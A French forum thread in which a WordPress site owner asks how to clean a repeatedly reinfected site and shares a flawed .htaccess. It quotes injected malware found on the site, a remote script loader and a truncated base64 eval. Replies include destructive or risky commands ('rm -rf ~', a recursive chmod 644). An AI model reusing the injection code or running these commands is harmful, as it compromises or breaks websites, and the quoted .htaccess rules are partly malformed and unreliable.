.htaccess modifier index.php

Bonjour,

Voila j'ai un gros j'ai un site chez ovh, un wordpress.. mais depuis quelque jours je suis "attaqué" non stop et google me bloque donc mon site ne me disant que j'ai des logiciels malveillant.
Aprés recherche éffectivement, j'ai a plusieurs endroit sur des pages php un bout de script qui s'ajoute.

document.write('<script src=http://pancer.eu/Fashion/index.php ><\/script>');

ou encore

<?php eval(base64_decode('aW.....dfdsdsfdsfsd=')); ?>

j'ai donc créer un .htaccess, mais je pense qu'il est mal configurer car meme aprés netoyage du site le problème reviens au bout de quelques heures...

Voici mon .htaccess

<files .htaccess>
order allow,deny
deny from all
</files>

<files wp-config.php>
order allow,deny
deny from all
</files>

Options All -Indexes

IndexIgnore *

RewriteCond %{HTTP_USER_AGENT} [0-9A-Za-z]{15,} [OR]
RewriteCond %{HTTP_USER_AGENT} ^[0-9A-Za-z]+$ [OR]

RewriteEngine on
RewriteCond %{HTTP_REFERER} digg\.com [NC]
RewriteRule .* - [F]

RewriteCond %{HTTP_USER_AGENT} ^[^?]*iaea\.org [NC,OR]



Quelqu'un pourait-il me dire comment résoudre se probleme ??
J'en peux plus... :/

7 réponses

  1. Salut,

    Tu en parle à ton hébergeur, et tu supprime les lignes ! Tu dois avoir un hébergement mutualisé et le serveur doit être infecté, voit ça avec ovh ;)
    1. Merci Alexis, mais j'ai contacter ovh qui me dit que le problème ne vient pas de eux, et que c'est a moi de protéger mes pages. Justement avec le htaccess.
      Et ce que mon htaccess est bon ? manque t-il des choses...
      1. Merci, bien j'ai fait tout ce qu'il y a dit sur le lien.. sa a marché 12h :(
        Mon serveur est de nouveau contaminer... je ne comprend plus !!
        1. Contributeur
          Bonjour,

          Je n'ai pas accès aux autres sites et ne connais pas exactement wordpress cependant, si ça ne vient pas d'OVH:
          -Si tu as une sauvegarde de ton site sur ton pc, supprime complètement le contenu en ligne, et remet celui qui vient de ton pc (qui est sur).
          -Tu as une faille sur ton site qui a permis à l'intrus d'y modifier ton code.
          Pour ça, via ton accès SSH fait un
          chmod -R 644 
          sur le dossier parent de ton site.
          -Vérifie les alias dans le fichier ~/.bashrc
          cat ~/.bashrc
          Pour être sur que tes commandes ne soient pas loguées ailleurs que dans le .bashrc
          -Si tu peux toucher aux utilisateurs, créés en un nouveau (toto par exemple)
          Donne lui ton site:
          chown toto:toto /var/www/

          Vide ton home:
          rm -rf ~

          Change d'utilisateur et connecte toi avec le nouveau (toto donc).
          Supprime ton ancien utilisateur.

          Ensuite il faudrait vérifier les logs Apache, SSH, et les derniers ficihiers modifiés sur ton serveur mais... j'ai pas le man grep sous les yeux.

          1. L'adresse du site : http://www.warriorsdecamon.fr/
            La il fonctionne, mais dans quelques heures il sera de nouveau indisponible suite à des attaques..

            Tout mes fichiers sont en 604 et mes dossier en 705
            Sauf pour les fichiers .htaccess et wp-config qui sont en 444
            J'ai déjà mit une sauvegarde du site que j'avais mais cela à rien changé.

            Pour info (si sa peux aider) le virus (ou je ne sais pas quoi) ajoute des scripts dans les fichiers index.php et quelques autres .php et aussi sur la plus par des .js

            Je vous redonne mon .htaccess au cas ou :

            # Empecher de lire ou accéder au fichier .htaccess
            <files .htaccess>
            order allow,deny
            deny from all
            </files>
            # Empecher de lire ou accéder au fichier wp-config.php
            <Files wp-config.php>
            Order Allow,Deny
            Deny from All
            </Files>
            # Au lieu de mettre un index.html dans chaque dossier que vous ne pas rendre visible mettez cette ligne
            Options All -Indexes
            # Désactive la signature du serveur
            ServerSignature Off
            # Empêche les attaques DDOS
            LimitRequestBody 10240000
            # Un hôte qui tente de se cacher dans une reverse DNS lookup
            RewriteCond %{REMOTE_HOST} ^private$ [NC,OR]
            # Un faux referrer souvent utilisé
            RewriteCond %{HTTP_USER_AGENT} ^[^?]*iaea\.org [NC,OR]
            # Le referrer "addresses.com" est utilisé par un email address extractor
            RewriteCond %{HTTP_USER_AGENT} ^[^?]*addresses\.com [NC,OR]
            # Bloque les navigateurs se dissimulants avec des lettres et chiffres aléatoires
            RewriteCond %{HTTP_USER_AGENT} [0-9A-Za-z]{15,} [OR]
            RewriteCond %{HTTP_USER_AGENT} ^[0-9A-Za-z]+$ [OR]